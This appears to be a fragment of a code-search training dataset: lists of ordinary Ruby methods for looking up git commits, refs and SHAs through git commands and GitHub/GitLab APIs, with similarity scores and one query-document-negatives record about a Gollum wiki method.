"def commit_ref(ref, repo_param)\n ref_class = ref.class.to_s.split(\"::\")[1].to_s\n \"<a class=\\\"ref #{ref_class}\\\" href=\\\"\" + prefix_url(\"#{repo_param}/#{ref.name}\") + \"\\\">#{ref.name}</a>\"\n end",
"def get(user_name, repo_name, ref, params={})\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n\n _validate_presence_of ref\n _validate_reference ref\n normalize! params\n\n get_request(\"/repos/#{user}/#{repo}/git/refs/#{ref}\", params)\n end",
"def commit\n @commit ||= @repo.commit(@repo.head.commit)\n end",
"def commit(id)\n Gitlab::Git::Commit.find(self, id)\n end",
"def commit(project, sha)\n get(\"/projects/#{project}/repository/commits/#{sha}\")\n end",
"def get_commit(key, id)\n key = key_for(key)\n commit = git.commit(id)\n blob = commit.tree / key\n decode(blob.data) if blob\n end",
"def review_commit\n if @review_commit.nil?\n @review_commit = GitCommit.new(project.review_repository,\n @sha1)\n end\n @review_commit\n end",
"def commit_hash(branch_or_tag = nil)\n version = 'HEAD'\n working_dir do\n version = git 'rev-parse', branch_or_tag || 'HEAD'\n end\n version.strip\n end",
"def commits(sha=nil, params={})\n params = sha if sha.is_a?Hash\n prefix = (!sha.is_a?(Hash) and sha) ? \"#{path_prefix}/commits/#{sha}\" : \"#{path_prefix}/commits\"\n Ghee::API::Repos::Git::Commits::Proxy.new(connection, prefix, params)\n end",
"def scm_version(ref)\n return nil unless File.exist?(git_dir)\n\n version = `git --git-dir=#{safe_git_dir} describe --tags #{ref}`\n\n if $CHILD_STATUS.to_i.positive?\n # HEAD is not a tagged version, get the short SHA1 instead\n version = `git --git-dir=#{safe_git_dir} show #{ref} --format=format:\"%h\" -s`\n else\n # HEAD is a tagged version, if version is prefixed with \"v\" it will be stripped off\n version.gsub!(/^v/, \"\")\n end\n\n version.strip!\n rescue RuntimeError\n nil\n end",
"def fetch_commit(repo_user,repo_name,sha)\n uri = URI(API_BASE_URL+ \"/repos/#{repo_user}/#{repo_name}/git/commits/#{sha}\")\n body = response_body(uri)\n if body.key?('message') && body['message'].downcase == \"not found\"\n raise \"Unable to fetch #{uri}\" \n else\n body\n end\n end",
"def find_svn_rev_for_commit(repo_path, commit)\n `(cd \"#{repo_path}\" && git svn find-rev #{commit})`.strip\n end",
"def commit_hash(branch_or_tag = nil)\n @version = git 'rev-parse', branch_or_tag || 'HEAD'\n end",
"def ref\n ref = @repository.refs.find { |refs_a| refs_a.include?(@sha) }\n ref ? ref.last : @sha\n end",
"def first_commit\n\tcommit = nil\n\tresp = github_api(\"commits\")\n\tsha = resp[-1][\"commit\"][\"sha\"]\n\twhile true\n\t\tr = github_api(\"commits?sha=#{sha}&per_page=100\")\n\t\tif r.count != 1 \n\t\t\tsha = r[-1][\"sha\"]\n\t\t\tnext\n\t\tend\n\t\tcommit = r[0]\n\t\tbreak\n\tend\n\tcommit\nend",
"def get_gitlab_ref(git_url)\n return 'TBD' if ENV['GITLAB_ACCESS_TOKEN'].nil?\n proj_name = File.basename(git_url, '.git')\n\n gitlab_ref = nil\n begin\n proj = gitlab_client.project(\"#{GITLAB_ORG}/#{proj_name}\")\n commits = gitlab_client.repo_commits(proj.id, page: 1)\n if commits\n gitlab_ref = commits[0].to_hash['id']\n end\n rescue =>e\n # can happen if a GitLab project for the component does not exist\n msg = \"Unable to get GitLab ref for #{proj_name}:\\n #{e.message}\"\n warning(msg)\n end\n gitlab_ref\n end",
"def get_version_commit\n version = self.peers_version\n if version[\"success\"]\n return version[\"commit\"]\n else\n return nil\n end\n end",
"def branches_containing_commit(commit_ref); end",
"def branches_containing_commit(commit_ref); end",
"def rev_parse # :nodoc:\n hash = nil\n\n Dir.chdir repo_cache_dir do\n hash = Gem::Util.popen(@git, 'rev-parse', @reference).strip\n end\n\n raise Gem::Exception,\n \"unable to find reference #{@reference} in #{@repository}\" unless\n $?.success?\n\n hash\n end",
"def get(*args)\n arguments(args, required: [:user, :repo, :sha])\n\n get_request(\"/repos/#{arguments.user}/#{arguments.repo}/commits/#{arguments.sha}\", arguments.params)\n end",
"def commit_diff(project, sha)\n get(\"/projects/#{project}/repository/commits/#{sha}/diff\") \n end",
"def get_revision(rev = 'HEAD')\n unless @resource.value(:source)\n status = at_path { git_with_identity('status') }\n is_it_new = status =~ %r{Initial commit|No commits yet}\n if is_it_new\n status =~ %r{On branch (.*)}\n branch = Regexp.last_match(1)\n return branch\n end\n end\n current = at_path { git_with_identity('rev-parse', rev).strip }\n if @resource.value(:revision) == current\n # if already pointed at desired revision, it must be a SHA, so just return it\n return current\n end\n if @resource.value(:source)\n update_references\n end\n if @resource.value(:revision)\n canonical = if tag_revision?\n # git-rev-parse will give you the hash of the tag object itself rather\n # than the commit it points to by default. Using tag^0 will return the\n # actual commit.\n at_path { git_with_identity('rev-parse', \"#{@resource.value(:revision)}^0\").strip }\n elsif local_branch_revision?\n at_path { git_with_identity('rev-parse', @resource.value(:revision)).strip }\n elsif remote_branch_revision?\n at_path { git_with_identity('rev-parse', \"#{@resource.value(:remote)}/#{@resource.value(:revision)}\").strip }\n else\n # look for a sha (could match invalid shas)\n at_path { git_with_identity('rev-parse', '--revs-only', @resource.value(:revision)).strip }\n end\n raise(\"#{@resource.value(:revision)} is not a local or remote ref\") if canonical.nil? || canonical.empty?\n current = @resource.value(:revision) if current == canonical\n end\n current\n end",
"def commit(user,repository,commit)\n url = @base_url + \"/#{user}/#{repository}/commit/#{commit}\"\n GitHub::Commit.new(JSON.parse(open(url).read).merge(:user => user, :repository => repository))\n end",
"def fetch_commit(commit_id)\n found = commits.find do |commit|\n commit[\"sha\"] == commit_id\n end\n if found\n stringify_keys_deep(found.to_hash)\n else\n # cache miss; don't add to @commits because unsure of order.\n check_github_response do\n commit = @client.commit(user_project, commit_id)\n commit = stringify_keys_deep(commit.to_hash)\n commit\n end\n end\n end",
"def commit_refs(commit, repo_param)\n commit.refs.map{ |r| commit_ref(r, repo_param) }.join(\"\\n\")\n end",
"def last_commit\n\tresp = github_api(\"commits\")\n\tresp[0]\nend",
"def find(repo, commit_id = \"HEAD\")\n # Already a commit?\n return commit_id if commit_id.is_a?(Gitlab::Git::Commit)\n\n # Some weird thing?\n return unless commit_id.is_a?(String)\n\n # This saves us an RPC round trip.\n return if commit_id.include?(':')\n\n commit = find_commit(repo, commit_id)\n\n decorate(repo, commit) if commit\n rescue Gitlab::Git::CommandError, Gitlab::Git::Repository::NoRepository, ArgumentError\n nil\n end",
"def checkout(repo_path, ref)\n Dir.chdir repo_path do\n git('checkout', '-qf', revision_from_ref(repo_path, ref))\n end\n end",
"def commit!(sha)\n parent_shas = begin\n [gitrepo.head.target]\n rescue Rugged::ReferenceError\n # this is the first commit\n []\n end\n\n authorship = author.merge(:time => Time.now)\n\n sha = Rugged::Commit.create(gitrepo,\n :message => \"\",\n :author => authorship,\n :committer => authorship,\n :parents => parent_shas,\n :tree => sha,\n :update_ref => \"HEAD\"\n )\n\n sha\n end",
"def branches_containing_commit(commit_ref)\n `git branch --column=dense --contains #{commit_ref}`.\n sub(/\\((HEAD )?detached (from|at) .*?\\)/, ''). # ignore detached HEAD\n split(/\\s+/).\n reject { |s| s.empty? || s == '*' }\n end",
"def sha commit_message\n cmd = \"git reflog --grep-reflog='commit\"\n cmd += ' (initial)' if commit_message == 'Initial commit'\n cmd += \": #{commit_message.strip}' --format='%H'\"\n result = ''\n %w[developer developer_secondary].each do |user|\n next unless result.empty?\n in_repository(user) { result = output_of cmd }\n end\n result\nend",
"def git_last_commit(host, git_repo_path)\n sha_regex = /commit (\\w{40})/\n\n return sha_regex.match(git_on(host, 'log', git_repo_path).stdout)[1]\nend",
"def rev_parse(*args)\n return args if args.empty?\n \n sandbox do |git,w,i|\n shas = git.run('', :rev_parse, '', {}, args).split(\"\\n\")\n \n # Grit::Git#run only makes stdout available, not stderr, and so this\n # wonky check relies on the fact that git rev-parse will print the\n # unresolved ref to stdout and quit if it can't succeed. That means\n # the last printout will not look like a sha in the event of an error.\n unless shas.last.to_s =~ SHA\n raise \"could not resolve to a sha: #{shas.last}\"\n end\n \n shas\n end\n end",
"def sha\n @commit.sha\n end",
"def show_ref(repo_path, ref)\n Dir.chdir repo_path do\n lines = git('show-ref', ref).lines.to_a\n\n raise AmbiguousGitRef, ref if lines.size > 1\n\n lines.first.chomp.split(/\\s/).first\n end\n end",
"def set_commit\n @commit = Commit.find_by_sha(params[:sha])\n end",
"def github_commit(owner, repo, sha)\n parent_dir = File.join('commits', \"#{owner}@#{repo}\")\n commit_json = File.join(parent_dir, \"#{sha}.json\")\n FileUtils::mkdir_p(parent_dir)\n\n r = nil\n if File.exists? commit_json\n r = begin\n JSON.parse File.open(commit_json).read\n rescue\n # This means that the retrieval operation resulted in no commit being retrieved\n {}\n end\n return r\n end\n\n url = \"https://api.github.com/repos/#{owner}/#{repo}/commits/#{sha}\"\n log(\"Requesting #{url} (#{@remaining} remaining)\")\n\n contents = nil\n begin\n r = open(url, 'User-Agent' => 'ghtorrent', 'Authorization' => \"token #{token}\")\n @remaining = r.meta['x-ratelimit-remaining'].to_i\n @reset = r.meta['x-ratelimit-reset'].to_i\n contents = r.read\n JSON.parse contents\n rescue OpenURI::HTTPError => e\n @remaining = e.io.meta['x-ratelimit-remaining'].to_i\n @reset = e.io.meta['x-ratelimit-reset'].to_i\n log \"Cannot get #{url}. Error #{e.io.status[0].to_i}\"\n {}\n rescue StandardError => e\n log \"Cannot get #{url}. General error: #{e.message}\"\n {}\n ensure\n File.open(commit_json, 'w') do |f|\n f.write contents unless r.nil?\n f.write '' if r.nil?\n end\n\n if 5000 - @remaining >= REQ_LIMIT\n to_sleep = @reset - Time.now.to_i + 2\n log \"Request limit reached, sleeping for #{to_sleep} secs\"\n sleep(to_sleep)\n end\n end\n end",
"def get_ref_name_by_sha(oauth_token, ref_sha)\n client = Octokit::Client.new(access_token: oauth_token)\n ref_response = client.refs(full_repo_name).find { |x| x[:object][:sha] == ref_sha }\n ref_response[:ref].match(/refs\\/(.*)/).captures.first\n end",
"def ref(query)\n clone_to_local unless has_local?\n\n # parse query\n type = query.keys.first\n name = query[type]\n\n # execute \"git show-ref\"\n out = Temppath.create.open(\"w+\")\n process = ChildProcess.build(\"git\", \"show-ref\")\n process.cwd = local.path.to_s\n process.io.stdout = out\n process.start\n process.wait\n\n if process.crashed?\n raise GitError.new(\"The command 'git clone' failed.\", @address)\n end\n\n # find hash id\n out.rewind\n out.readlines.each do |line|\n hash_id, refname = line.split(\" \")\n\n cond_tag = (type == :tag and \"refs/tags/%s\" % name == refname)\n cond_branch = (type == :branch and \"refs/remotes/origin/%s\" % name == refname)\n\n return hash_id if cond_tag or cond_branch\n end\n\n # the name not found\n return nil\n end",
"def from_commit_sha\n from_sha = nil\n last_commit = nil\n ActiveRecord::Base.connection_pool.with_connection do \n last_commit = RepoCommit.where(supplier_project_repo_id: @repo.id).order(:full_date).first\n end\n from_sha = last_commit.sha if last_commit\n end",
"def git_ref\n `git rev-parse --short HEAD`.strip\nend",
"def last_commited_commit\n get_all_commits_in_repo.first\n end",
"def project_commit(project, commit_id)\n get(\"/projects/#{project}/commits/#{commit_id}\")\n end",
"def latest_commit()\n commits = @wiki.log({:max_count => 1})\n return nil if commits.nil?\n return nil if commits.empty?\n return commits.first\n end",
"def checkout(ref)\n if ref.resolvable?\n git [\"checkout\", \"--force\", @ref.sha1], :path => @full_path\n else\n raise R10K::Git::UnresolvableRefError.new(\n \"Cannot check out unresolvable ref '#{@ref}'\",\n :git_dir => @full_path)\n end\n end",
"def git_current_commit_sha\n `git rev-parse HEAD`\n end",
"def fetch_revision(commit)\n `git rev-parse #{commit}`.tr(\"\\n\", '')\n end",
"def load_ref_commits(ref)\n commits = []\n page = 1\n begin\n loop do\n commits += Octokit.commits(@path, ref, :page => page)\n page += 1\n end\n rescue Octokit::NotFound, Faraday::Error::ResourceNotFound\n end\n commits\n end",
"def find_commit_for_svn_rev(repo_path, svn_rev, base_branch)\n `(cd \"#{repo_path}\" && git rev-list #{base_branch} --grep=\"git-svn-id:.*@#{svn_rev}\")`.strip\n end",
"def commit(user_name, repo_name, sha, params={})\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n _validate_presence_of sha\n _normalize_params_keys(params)\n\n get(\"/repos/#{user}/#{repo}/commits/#{sha}\", params)\n end",
"def initial_ref\n %x[git rev-parse #{branch}].chomp\nend",
"def commit\n @git = YMDP::GitHelper.new\n @git.do_commit(@message)\n @git_hash = git.get_hash(options[:branch]) \n end",
"def last_commit_sha(branch = @base_branch)\n if branch\n commits(@repo, branch, page: 1, per_page: 1)[0]['sha']\n else\n raise ArgumentError, 'Branch must be specified'\n end\n end",
"def find(revision, options = {})\n get_path(\n path_to_find(revision),\n options,\n get_parser(:object, Tinybucket::Model::Commit)\n )\n end",
"def commit\n\t$VP.join('.git/refs/heads/master').read[0..8] rescue nil\nend",
"def get_commits(repo, branch)\n # Downcase the strings\n repo.downcase!\n branch.downcase!\n\n # Make sure we're ending with a trailing / on the repo\n repo << '/' unless repo[repo.size - 1] == '/'\n\n # The full path for a call is:\n # https://api.github.com/repos/avalonmediasystem/avalon/commits/master/\n # The user may or may not have called with the /commits/ part since we don't\n # specifically require it\n # Determine if it is present, add it if it is not\n commits = 'commits/'\n last_char_pos = repo.size\n repo << commits unless repo[last_char_pos - commits.size..last_char_pos - 1] == commits\n\n # Use Rest Client to call the Github API and return it as JSON\n api_call = repo + branch\n resp = rest_client_get(api_call)\n return JSON.parse(resp) unless resp.nil?\n end",
"def getGitRepo config\n\tworkingDir = config[\"workingDir\"]\n\tbranch = config[\"git\"][\"branch\"]\n\trepository = config[\"git\"][\"repository\"]\n\t\n\t# when working directory does not exist, create it and clone the repository\n\t# otherwise just pull changes\n\tif not Dir.exists? workingDir then\n\t\tDir.mkdir workingDir\n\t\tg = Git.clone(repository, branch, :path => workingDir)\n\t\tlatestCommit = g.log.last\n\telse\n\t\tg = Git.open(workingDir + \"/\" + branch)\n\t\tg.pull\n\t\tlatestCommit = g.log.last\n\tend\n\t\n\treturn latestCommit\nend",
"def commit_hash\n if ENV['COMMIT_HASH'].present?\n ENV['COMMIT_HASH'][0, 8]\n else\n 'undefined'\n end\n end",
"def commit(id)\n @commit = @repo.commit(id)\n raise(Ginatra::InvalidCommit.new(id)) if @commit.nil?\n add_refs(@commit,{})\n @commit\n end",
"def currentcommit\n %x{git rev-parse HEAD}.squish\n end",
"def get_initial_commit\n\t\t`git rev-list --max-parents=0 HEAD`.chomp\n\tend",
"def refs(ref=nil)\n prefix = ref ? \"#{path_prefix}/refs/#{ref}\" : \"#{path_prefix}/refs\"\n Ghee::API::Repos::Git::Refs::Proxy.new(connection, prefix)\n end",
"def commits\n @commits ||= ApiFactory.new 'GitData::Commits'\n end",
"def fetch_ref(repo_user,repo_name, ref_name)\n uri = URI(API_BASE_URL+ \"/repos/#{repo_user}/#{repo_name}/git/#{ref_name}\")\n body = response_body(uri)\n if body.instance_of? Array\n body\n elsif body.key?('message') && body['message'].downcase == \"not found\"\n raise \"Unable to fetch #{uri}\" \n else\n puts \"WARNING unexpected body = #{body}\"\n []\n end\n end",
"def commit_date(sha)\n return unless git_repo? && sha\n Licensed::Shell.execute(\"git\", \"show\", \"-s\", \"-1\", \"--format=%ct\", sha)\n end",
"def blob(id, commit_sha=nil, path=nil)\n blob = self.lookup(id); blob_entry={}\n if commit_sha && path\n commit = self.lookup(commit_sha)\n unless commit\n root_tree = commit.tree\n blob_entry = Gitlab::Git::Blob.find_entry_by_path(self, root_tree.oid, path)\n end\n end\n if blob\n Gitlab::Git::Blob.new(\n id: blob.oid,\n name: blob_entry[:name],\n size: blob.size,\n data: blob.content,\n mode: blob_entry[:mode],\n path: path,\n commit_id: commit_sha,\n )\n end\n end",
"def newest_svn_commit_on_branch(repo_path, branch)\n `(cd \"#{repo_path}\" && git rev-list -n1 #{branch} --grep=git-svn-id:)`.strip\n end",
"def get(cookie_hash)\n begin\n commit = Commit.find(:user => @user, :repo => @repo_name, :sha => cookie_hash)\n return commit.message\n rescue Octopi::NotFound\n puts \"Requested cookie does not exist.\"\n return nil\n end\n end",
"def git_ver\n '(git commit:' + _git('reflog').split(' ').first + ')'\n end",
"def last_commit() \n\t return @last_commit if @last_commit.is_a?(Commit)\n\t\t@last_commit = Commit.first(:repo_id => self[:_id])\n\tend",
"def first_committed_commit\n get_all_commits_in_repo.last\n end",
"def commit_sha commit_message\n output_of \"git log --grep='#{commit_message}' --format='%h' -1\"\nend",
"def fetch_svn_commit(rev)\n url_str = bot.config['svn_root_url']\n commit = []\n begin\n @log.info \"checking #{url_str} for new commit...\"\n\n # https://username:password@svn.host.com:8080/svn/path/in/repo/\n url = Addressable::URI.parse(url_str)\n\n @log.debug PP.singleline_pp(url.to_hash, '')\n xmldata = `svn log --xml -v -r #{rev} #{url.omit(:user, :password)}`\n doc = REXML::Document.new(xmldata)\n \n doc.elements.inject('log/logentry', commit) do |commit, element|\n commit.push({:url => url}.merge(parse_entry_info(element)))\n end\n @log.debug PP.singleline_pp(commit, '')\n\n rescue Exception => e\n @log.error \"error connecting to svn: #{e.message}\"\n end\n return commit\n end",
"def ensure_commit(repo, sha, user, comments = true)\n ensure_repo(user, repo)\n c = retrieve_commit(repo, sha, user)\n\n if c.nil?\n warn \"Commit #{user}/#{repo} -> #{sha} does not exist\"\n return\n end\n\n stored = store_commit(c, repo, user)\n ensure_parents(c)\n if not c['commit']['comment_count'].nil? \\\n and c['commit']['comment_count'] > 0\n ensure_commit_comments(user, repo, sha) if comments\n end\n ensure_repo_commit(user, repo, sha)\n stored\n end",
"def recent_revision(repo, branch = nil)\n branch ||= default_branch(repo)\n api.branch(repo, branch).commit.sha\n end",
"def query_revision(reference)\n raise ArgumentError, \"Deploying remote branches is no longer supported. Specify the remote branch as a local branch for the git repository you're deploying from (ie: '#{reference.gsub('origin/', '')}' rather than '#{reference}').\" if reference =~ /^origin\\//\n sha_hash = '[0-9a-f]{40}'\n return reference if reference =~ /^#{sha_hash}$/ # it's already a sha\n command = scm('ls-remote', configuration[:repository], reference)\n result = nil\n begin\n result = yield(command)\n rescue ChefDeployFailure => e\n raise obvious_error(\"Could not access the remote Git repository. If this is a private repository, please verify that the deploy key for your application has been added to your remote Git account.\", e)\n end\n unless result =~ /^(#{sha_hash})\\s+(\\S+)/\n raise \"Unable to resolve reference for '#{reference}' on repository '#{configuration[:repository]}'.\"\n end\n newrev = $1\n newref = $2\n return newrev\n end",
"def get_commits\n raise \"can't get a repo without the repo's full_name (eg. 'fubar/ofxTrickyTrick')\" unless full_name\n\n begin\n response = GithubApi::repository_commits(full_name: full_name)\n rescue => ex\n Rails.logger.debug \"Failed to get recent commit: #{ex.message} (#{ex.class})\"\n return\n end\n\n unless response.success?\n Rails.logger.debug response.inspect.to_s.red\n return\n\tend\n\n @repo_commits_json = response.parsed_response\n end",
"def add_commit(commit)\n raise \"Arg commit is nil\" if commit.nil?\n raise \"id field is nil in commit arguement\" if commit.id.nil?\n branch_name = commit.branch.to_sym \n\n # Initially , the tree will be empty. \n # So we can insert given commit directly\n if @branch_heads.length.zero? \n node = Node.new(commit) \n @branch_heads[branch_name] = node\n @commits[commit.id] = node\n return\n end\n\n node = nil \n if @commits.key? commit.id \n node = @commits[commit.id] \n else\n branch_head = @branch_heads[branch_name]\n node = Node.new(commit, [branch_head]) \n @commits[commit.id] = node\n end\n\n @branch_heads[branch_name] = node\n end",
"def get_entry(path, commit = @commit)\n entry_hash = get_entry_hash(path, commit)\n if entry_hash.nil?\n entry = nil\n else\n entry = @repo.lookup(entry_hash[:oid])\n end\n entry\n end",
"def ensure_repo_commit(user, repo, sha)\n project = ensure_repo(user, repo)\n\n if project.nil?\n warn \"Repo #{user}/#{repo} does not exist\"\n return\n end\n\n commitid = db[:commits].first(:sha => sha)[:id]\n\n exists = db[:project_commits].first(:project_id => project[:id],\n :commit_id => commitid)\n if exists.nil?\n db[:project_commits].insert(\n :project_id => project[:id],\n :commit_id => commitid\n )\n info \"Added commit_assoc #{sha} with #{user}/#{repo}\"\n db[:project_commits].first(:project_id => project[:id],\n :commit_id => commitid)\n else\n debug \"Association of commit #{sha} with repo #{user}/#{repo} exists\"\n exists\n end\n end",
"def read_commit_hash vcs\n commit_hash = \"\"\n\n if vcs.kind_of?(Array)\n vcs.map! { |v| v.to_s }\n elsif !vcs.kind_of?(String)\n vcs = vcs.to_s\n end\n\n vcs.each { |v| raise InvalidVersionControlSystem if !SUPPORTED_VCS.include?(v) }\n\n # Try to get the commit hash for a git repo\n commit_hash = `git log -1 --pretty=format:\"%H\" #{RAILS_ROOT} 2> /dev/null` if vcs.include?(\"git\")\n # Try to get the commit hash for the svn repo\n commit_hash = `svn info #{RAILS_ROOT} 2> /dev/null | awk '/^Revision:/ { print $2 }'` if commit_hash.empty? && vcs.include?(\"svn\")\n \n commit_hash.strip\n end",
"def scm_date(ref)\n return nil unless File.exist?(git_dir)\n\n # Get the date in epoch time\n date = `git --git-dir=#{safe_git_dir} show #{ref} --format=format:\"%ct\" -s`\n Time.at(date.to_i) if date =~ /\\d+/\n rescue RuntimeError\n nil\n end",
"def initialize(project, commits, ref = nil)\n @project = project\n @commits = commits\n @ref = ref\n end",
"def getTagCommitId(tag)\n return sh(\"git rev-list -n 1 #{tag}\")\nend",
"def latest_commit\n init_commits\n @latest_commit\n end",
"def release_hashref\n @release_hashref ||= `git rev-parse HEAD`.chomp\n end",
"def status(ref = main_branch)\n statuses = statuses(ref)\n\n sha = statuses['values'].map {|x| x.dig('commit', 'hash') }.compact.first\n states = statuses['values'].map { |status| status['state'] }\n\n state = if states.any? { |x| ['STOPPED', 'FAILED'].include?(x) }\n BuildStatus::FAILURE\n elsif states.empty? || states.all? { |x| x == 'INPROGRESS' }\n BuildStatus::PENDING\n elsif states.all? { |x| x == 'SUCCESSFUL' }\n BuildStatus::SUCCESS\n else\n BuildStatus::UNDEFINED\n end\n\n BuildStatus.new(sha: sha, status: state)\n end",
"def commit_log(first_ref, last_ref)\n puts \"running commit log\"\n return @commit_log unless @commit_log.nil?\n\n git = find_git_repo\n\n begin\n raise \"Ref missing\" if first_ref.nil? || last_ref.nil? # jump to rescue block.\n\n log_results = git.log.between(first_ref, last_ref)\n\n @commit_log = log_results.map do |log|\n {\n :author => log.author.name,\n :date => log.date,\n :email => log.author.email,\n :sha => log.sha,\n :message => log.message\n }\n end\n\n rescue\n [ DEFAULT_COMMIT_LOG_ENTRY ]\n end\n end",
"def git_HEAD\n Dir.chdir(@dir) do\n commit = `git rev-parse HEAD`\n raise \"git rev-parse HEAD failed: #{$?.exitstatus}\" if $?.exitstatus != 0\n commit.chomp\n end\n end",
"def delete(user_name, repo_name, ref, params={})\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n normalize! params\n _validate_presence_of ref\n\n delete_request(\"/repos/#{user}/#{repo}/git/refs/#{ref}\", params)\n end",
"def github_url\n \"http://github.com/280north/cappuccino/commit/#{sha1}\"\n end"
] |
[
"0.7422145",
"0.6751967",
"0.66172963",
"0.64526206",
"0.6185365",
"0.60531366",
"0.6044704",
"0.6027647",
"0.5939044",
"0.5857137",
"0.5829165",
"0.5807901",
"0.5789055",
"0.5730718",
"0.5681903",
"0.5629648",
"0.56218517",
"0.56208974",
"0.5604513",
"0.5577994",
"0.5561285",
"0.5534892",
"0.55278957",
"0.5526059",
"0.5515669",
"0.54713273",
"0.547095",
"0.545736",
"0.5442049",
"0.5413164",
"0.54110605",
"0.5387706",
"0.53737336",
"0.5371438",
"0.5350448",
"0.53471076",
"0.53324157",
"0.5331395",
"0.5321941",
"0.52955496",
"0.5289579",
"0.5287288",
"0.52869654",
"0.5282173",
"0.52805156",
"0.5270289",
"0.52681804",
"0.5252883",
"0.5247843",
"0.5246698",
"0.5241492",
"0.5200519",
"0.5183161",
"0.51775956",
"0.51732075",
"0.51626295",
"0.5159861",
"0.51502043",
"0.5146205",
"0.51406384",
"0.51266783",
"0.50863063",
"0.50776345",
"0.5059651",
"0.5053042",
"0.50388414",
"0.50157666",
"0.5014751",
"0.49687278",
"0.49641934",
"0.49549592",
"0.4944353",
"0.4932181",
"0.4930623",
"0.49261764",
"0.4916479",
"0.49110124",
"0.49063355",
"0.49020934",
"0.48932162",
"0.48905775",
"0.48896518",
"0.48545355",
"0.48534784",
"0.48507607",
"0.48504773",
"0.4848215",
"0.48463258",
"0.48421633",
"0.483851",
"0.48329622",
"0.48212156",
"0.48145485",
"0.48094717",
"0.480544",
"0.48050052",
"0.47987288",
"0.479463",
"0.4790787",
"0.4790621"
] |
0.6896685
|
1
|
Finds a full listing of files and their blob SHA for a given ref. Each listing is cached based on its actual commit SHA. ref A String ref that is either a commit SHA or references one. ignore_page_file_dir Boolean, if true, searches all files within the git repo, regardless of dir/subdir Returns an Array of BlobEntry instances.
|
def tree_map_for(ref, ignore_page_file_dir = false)
if ignore_page_file_dir && !@page_file_dir.nil?
@root_access ||= GitAccess.new(path, nil, @repo_is_bare)
@root_access.tree(ref)
else
@access.tree(ref)
end
rescue Gollum::Git::NoSuchShaFound
[]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def tree_list(ref = @ref, pages=true, files=true)\n if (sha = @access.ref_to_sha(ref))\n commit = @access.commit(sha)\n tree_map_for(sha).inject([]) do |list, entry|\n if ::Gollum::Page.valid_page_name?(entry.name)\n list << entry.page(self, commit) if pages\n elsif files && !entry.name.start_with?('_') && !::Gollum::Page.protected_files.include?(entry.name)\n list << entry.file(self, commit)\n end\n list\n end\n else\n []\n end\n end",
"def files_contents(files, ref)\n files.each do |file|\n begin\n return file_contents(file, ref)\n rescue FileNotFoundError\n next\n end\n end\n raise FileNotFoundError,\n \"Couldn't find any of #{files} files\"\n end",
"def files(treeish = nil)\n tree_list(treeish || @ref, false, true)\n end",
"def load_ref_commits(ref)\n commits = []\n page = 1\n begin\n loop do\n commits += Octokit.commits(@path, ref, :page => page)\n page += 1\n end\n rescue Octokit::NotFound, Faraday::Error::ResourceNotFound\n end\n commits\n end",
"def find_all(repo, options = {})\n refs = []\n already = {}\n Dir.chdir(repo.path) do\n files = Dir.glob(prefix + '/**/*')\n files.each do |ref|\n next if !File.file?(ref)\n id = File.read(ref).chomp\n name = ref.sub(\"#{prefix}/\", '')\n commit = Commit.create(repo, :id => id)\n if !already[name]\n refs << self.new(name, commit)\n already[name] = true\n end\n end\n\n if File.file?('packed-refs')\n File.readlines('packed-refs').each do |line|\n if m = /^(\\w{40}) (.*?)$/.match(line)\n next if !Regexp.new('^' + prefix).match(m[2])\n name = m[2].sub(\"#{prefix}/\", '')\n commit = Commit.create(repo, :id => m[1])\n if !already[name]\n refs << self.new(name, commit)\n already[name] = true\n end\n end\n end\n end\n end\n\n refs\n end",
"def list_files(paths = [], options = {})\n ref = options[:ref] || 'HEAD'\n\n result = Overcommit::Utils.execute(%W[git ls-tree --name-only #{ref}], args: paths)\n unless result.success?\n raise Overcommit::Exceptions::Error,\n \"Error listing files. EXIT STATUS(es): #{result.statuses}.\\n\" \\\n \"STDOUT(s): #{result.stdouts}.\\n\" \\\n \"STDERR(s): #{result.stderrs}.\"\n end\n\n result.stdout.split(/\\n/).\n map { |relative_file| File.expand_path(relative_file) }.\n reject { |file| File.directory?(file) } # Exclude submodule directories\n end",
"def files_in branch:\n array_output_of(\"git ls-tree -r --name-only #{branch}\")\nend",
"def listFileHashes\n return contentHost.listFileHashes(baseDir)\n end",
"def tree_list(ref)\n sha = @access.ref_to_sha(ref)\n commit = @access.commit(sha)\n tree_map_for(sha).inject([]) do |list, entry|\n next list unless @page_class.valid_page_name?(entry.name)\n list << entry.page(self, commit)\n end\n end",
"def list_files(paths = [], options = {})\n ref = options[:ref] || 'HEAD'\n `git ls-tree --name-only #{ref} #{paths.join(' ')}`.\n split(/\\n/).\n map { |relative_file| File.expand_path(relative_file) }.\n reject { |file| File.directory?(file) } # Exclude submodule directories\n end",
"def list_files(env, res, tag, path)\n files = []\n git(\"ls-tree\", \"-z\", \"#{tag}:#{path}\") do |io|\n io.each_line(\"\\0\") do |line|\n line.chomp!(\"\\0\")\n #STDERR.puts line\n info, file = line.split(/\\t/, 2)\n mode, type, object = info.split(/ /)\n files << {\n :mode => mode,\n :type => type,\n :object => object,\n :file => file,\n }\n end\n end\n files = files.sort_by{|h| h[:file] }\n E_list_files.result(binding)\n end",
"def find_files(search_pattern, opts = {})\n fetch!\n search_pattern = Regexp.new(search_pattern)\n res = []\n unless @repo.empty?\n tree = @repo.head.target.tree\n _find_files(search_pattern, tree, nil, res)\n end\n res\n end",
"def file_references\n return unless @command == :download_file_list\n\n @file_references ||= begin\n xml = xml_doc content\n descriptors = xml.css('FileDescriptor')\n descriptors.map { |descriptor| descriptor.at('FileReference').content }\n end\n end",
"def search(query)\n options = {:path => page_file_dir, :ref => ref}\n search_terms = query.scan(/\"([^\"]+)\"|(\\S+)/).flatten.compact.map {|term| Regexp.escape(term)}\n search_terms_regex = search_terms.join('|')\n query = /^(.*(?:#{search_terms_regex}).*)$/i\n results = @repo.git.grep(search_terms, options) do |name, data|\n result = {:count => 0}\n result[:name] = extract_page_file_dir(name)\n result[:filename_count] = result[:name].scan(/#{search_terms_regex}/i).size\n result[:context] = []\n if data\n begin\n data.scan(query) do |match|\n result[:context] << match.first\n result[:count] += match.first.scan(/#{search_terms_regex}/i).size\n end\n rescue ArgumentError # https://github.com/gollum/gollum/issues/1491\n next\n end\n end\n ((result[:count] + result[:filename_count]) == 0) ? nil : result\n end\n [results, search_terms]\n end",
